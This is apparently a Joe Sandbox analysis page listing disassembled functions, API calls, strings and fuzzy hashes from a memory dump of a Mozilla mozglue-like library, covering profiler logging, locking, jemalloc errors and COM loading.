Part of subcall function 6BF69A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF69A9D
Part of subcall function 6BF69A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF69ACC
Part of subcall function 6BF69A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF69BA7
Part of subcall function 6BF69A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BF69BB8
Part of subcall function 6BF69A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BF69BC9

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6BF69A15

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 78bbca6b7f4157220b1c8d7af474b91ac0c11d069c96c85867c2e71e77478476
Instruction ID: 8d2139a5f7a48b405b33cd71ad7855e9c4ef3c8832f061c17d06c9be8f821c0f
Opcode Fuzzy Hash: 78bbca6b7f4157220b1c8d7af474b91ac0c11d069c96c85867c2e71e77478476
Instruction Fuzzy Hash: 7C01263781412ADBDB184F24D44876D7BA8EB4A798F048016ED45D7333EB3D8808C7B1

Function 6BF31FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6BF31FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6BF31FFD
__Init_thread_footer.LIBCMT ref: 6BF32011
FreeLibrary.KERNEL32 ref: 6BF32059

Strings

combase.dll, xrefs: 6BF31FD9
CoCreateInstance, xrefs: 6BF31FF7

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 1a675ea145cc85b5ec71af7a42ee483c39d70fd1e1339a32866de33c05f62ac6
Instruction ID: e4d2900a4e6cbf94c5cd672d1df96ad44a0a5707806bcb90e8d86b72a494c614
Opcode Fuzzy Hash: 1a675ea145cc85b5ec71af7a42ee483c39d70fd1e1339a32866de33c05f62ac6
Instruction Fuzzy Hash: 67114FB6510215EFDF289F28C899F5A3B6AEB46356F004025E915C6270D736D818CFE1

Function 6BF30EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6BF5D9F0,00000000), ref: 6BF30F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6BF30F3C
__Init_thread_footer.LIBCMT ref: 6BF30F50
FreeLibrary.KERNEL32(?,6BF5D9F0,00000000), ref: 6BF30F86

Strings

combase.dll, xrefs: 6BF30F18
CoInitializeEx, xrefs: 6BF30F36

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a0e0828d9dd756e71fbd2e9b82e7488f40eaabbeb4ffc5a0b76cfe7de4cc1705
Instruction ID: d9a886fd9894c22997f55acbc531f854e7a46304b75f672ab6e456bb21ad52cd
Opcode Fuzzy Hash: a0e0828d9dd756e71fbd2e9b82e7488f40eaabbeb4ffc5a0b76cfe7de4cc1705
Instruction Fuzzy Hash: 0311A076510211DFDF4C9F74CC58F4E37A4EB4A321F00422AE905C6271E77AE409CBA5

Function 6BF362E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6BF3631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6BF3633A
__Init_thread_footer.LIBCMT ref: 6BF3634E
FreeLibrary.KERNEL32 ref: 6BF36376

Strings

combase.dll, xrefs: 6BF36316
CoUninitialize, xrefs: 6BF36334

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: 3216744effe257d256a22e0ed05f485c3015a8614bc29d19565f7b6fbcb8ec22
Instruction ID: f8fd9e2078fd4c8d302ebd5838ca8fcd2adb165baadb03881e6eb1f5a8ab48d5
Opcode Fuzzy Hash: 3216744effe257d256a22e0ed05f485c3015a8614bc29d19565f7b6fbcb8ec22
Instruction Fuzzy Hash: E3015E76438201DFEF588F28D9A8B1877A0B707314F005269E941CA3B1E779D429CFA5

Function 6BF30E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6BF30DF8), ref: 6BF30E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6BF30EA1
__Init_thread_footer.LIBCMT ref: 6BF30EB5
FreeLibrary.KERNEL32 ref: 6BF30EC5

Strings

kernel32.dll, xrefs: 6BF30E7D
GetProcessMitigationPolicy, xrefs: 6BF30E9B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: be523082a7b716464b65504a6f5e092cd12d0fb35c793c91eaed55140c2af9b8
Instruction ID: 4ba7b3910f34e920b478dcc0ffcbc003b6c9a082aef1d06e7cd88b973ca7536f
Opcode Fuzzy Hash: be523082a7b716464b65504a6f5e092cd12d0fb35c793c91eaed55140c2af9b8
Instruction Fuzzy Hash: CE016D73624356DBDF489F78D854B1E37A9F746315F000166E901CA270D7B9F458CBA1

Function 6BF6F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6BF6F598), ref: 6BF6F621

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

GetCurrentThreadId.KERNEL32 ref: 6BF6F637
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8,?,?,00000000,?,6BF6F598), ref: 6BF6F645
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8,?,?,00000000,?,6BF6F598), ref: 6BF6F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6BF6F62A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: c6429b677bf705f89be8ca93365e1a8884c5a1a6da8ea28e8886f4cab3e15751
Instruction ID: 0692c2ff2dd3e76e811c82db7da2d1e84e1e7c0d1c2ca8e74acd3707c9aa3cd4
Opcode Fuzzy Hash: c6429b677bf705f89be8ca93365e1a8884c5a1a6da8ea28e8886f4cab3e15751
Instruction Fuzzy Hash: 35F05E77120209EBDA086B75C888B5E7B6DEB8A2ADF004415EE0587373DB7B88098771

Function 6BF6F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6F561

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

GetCurrentThreadId.KERNEL32 ref: 6BF6F577
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F585
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6BF6F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6BF6F3A8
[I %d/%d] profiler_resume, xrefs: 6BF6F239
[I %d/%d] profiler_resume_sampling, xrefs: 6BF6F499

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f3f7d82689b9692c312a3fd26e92080802e079474530f9a83e7d47399b277185
Instruction ID: b27c33735a3d11e6075034c90e0b48f8f0e14c51cb82381284f49927d89585ba
Opcode Fuzzy Hash: f3f7d82689b9692c312a3fd26e92080802e079474530f9a83e7d47399b277185
Instruction Fuzzy Hash: 36F05477510209EBDA086B75D888B5E7B6DEB8A29DF004415EE05C7323DB7ACC098771

Function 6BF605F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6BF5CFAE,?,?,?,6BF231A7), ref: 6BF605FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6BF5CFAE,?,?,?,6BF231A7), ref: 6BF60616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6BF231A7), ref: 6BF6061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6BF231A7), ref: 6BF60627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BF6061B, 6BF60625
<jemalloc>, xrefs: 6BF605FA, 6BF6060F

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 65f006b0b6828bdc72b49445f00c17279375bfe49824760e3feca67fdad18d26
Instruction ID: 226ab4d078335aa40aa03dfcf42e44e305b8c03c415a06034a59e500588cc04f
Opcode Fuzzy Hash: 65f006b0b6828bdc72b49445f00c17279375bfe49824760e3feca67fdad18d26
Instruction Fuzzy Hash: 37E08CE390501437F5142266BC86EBB760CCBC6174F080039FD0D82211E94EAD2A51F6

Function 6BF79240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF79BAE
free.MOZGLUE(?,?), ref: 6BF79BC3
free.MOZGLUE(?,?), ref: 6BF79BD9

Part of subcall function 6BF793B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF794C8
Part of subcall function 6BF793B0: free.MOZGLUE(6BF79281,?), ref: 6BF794DD

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 2839ff8fb8350e18663a9fa305f98d7adfc37c67c36bb4fa467a403807bc21b8
Instruction ID: a19f449ea32ec9121f929eda30ae145ecae189bf42fe647d8b3aff9823868cd0
Opcode Fuzzy Hash: 2839ff8fb8350e18663a9fa305f98d7adfc37c67c36bb4fa467a403807bc21b8
Instruction Fuzzy Hash: 48B1E172A047059BCB11DF68D48055FF3F5FFC8324B0486AAE859AB362DB34E942CB91

Function 6BF305F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41bb01afd16d18916e9e92d26581d20e877acc98e54e7258e938b0eb950be883
Instruction ID: 93aa8f7607a9a80ac1b1677e1dd723a53bf313a42307a5ed1b6d8a2d607ce003
Opcode Fuzzy Hash: 41bb01afd16d18916e9e92d26581d20e877acc98e54e7258e938b0eb950be883
Instruction Fuzzy Hash: F0A138B2900615CFDB24CF28C594B9AFBF1BF49300F4085AED48A97721E774A995CFA0

Function 6BF671A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6BF66060: moz_xmalloc.MOZGLUE(00000024,8683996B,00000000,?,00000000,?,?,6BF65FCB,6BF679A3), ref: 6BF66078

free.MOZGLUE(-00000001), ref: 6BF672F6
free.MOZGLUE(?), ref: 6BF67311

Strings

333s, xrefs: 6BF6731B
Spliced unique strings, xrefs: 6BF67340
Copied unique strings, xrefs: 6BF67320
333s, xrefs: 6BF67226

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: f318a94f485cbcd7df31cf9ac5e70bc3e9d70b99e87f4647e1a6891d38a30efd
Instruction ID: 38fad6ec438c2e76c3de9f6a067ba355019a83ef52d40c30ec65e1ff2f432bc2
Opcode Fuzzy Hash: f318a94f485cbcd7df31cf9ac5e70bc3e9d70b99e87f4647e1a6891d38a30efd
Instruction Fuzzy Hash: C3719772F002158FDB08DF69D89169DB7F2AF94354F25812DDC19AB220EB39A946CBC1

Function 6BF814A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF814C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF814E2
GetCurrentThreadId.KERNEL32 ref: 6BF81546
InitializeConditionVariable.KERNEL32(?), ref: 6BF815BA
free.MOZGLUE(?), ref: 6BF816B4

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 8cd24f4a0efaa8d8d2d16ede09bf9f6b36ece4aeb9b3ee23a383229de7bfa456
Instruction ID: 4a119e9951c1a8750d0b9c80b30cf6cf9ba168640d4ba81a516530d7b79bd36c
Opcode Fuzzy Hash: 8cd24f4a0efaa8d8d2d16ede09bf9f6b36ece4aeb9b3ee23a383229de7bfa456
Instruction Fuzzy Hash: 21611573900714DBDB219F24D880B9EB7B4FF89308F00865DED9A57221EB39E955CB91

Function 6BF7C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF7C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6BF7C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6BF7C29E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 7de854588942de574c2e9334d62c1e48c95e5c0dbd780c00302758a64d874ef0
Instruction ID: 52de3bb6095f55fca1dcd91c835016bf957b712b6d50856a7b3fcf179a74675a
Opcode Fuzzy Hash: 7de854588942de574c2e9334d62c1e48c95e5c0dbd780c00302758a64d874ef0
Instruction Fuzzy Hash: 37619172D04614CFCB24DFACE88059EBBB5FF49314F1545AAE816A7260D735A944CFA0

Function 6BF79F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF79FDB
free.MOZGLUE(?,?), ref: 6BF79FF0
free.MOZGLUE(?,?), ref: 6BF7A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF7A0BE
free.MOZGLUE(?,?), ref: 6BF7A0D5
free.MOZGLUE(?,?), ref: 6BF7A0EB

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 9d67c8bec10066b8cef100f9a94c4302aa987883b3233ae1a709580fc21483ea
Instruction ID: 0eab5178b89036fe48ce6106c495a0eefb84a82e2c6f86f7dd7554eee9586bab
Opcode Fuzzy Hash: 9d67c8bec10066b8cef100f9a94c4302aa987883b3233ae1a709580fc21483ea
Instruction Fuzzy Hash: 1361B4769087069FC711DF18C48055AB3F5FFC8324F5185AEE8599B212EB35E986CBC1

Function 6BF7DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF7DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6BF7D38A,?), ref: 6BF7DC6F
free.MOZGLUE(?,?,?,?,?,6BF7D38A,?), ref: 6BF7DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6BF7D38A,?), ref: 6BF7DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6BF7D38A,?), ref: 6BF7DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6BF7D38A,?), ref: 6BF7DD4A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

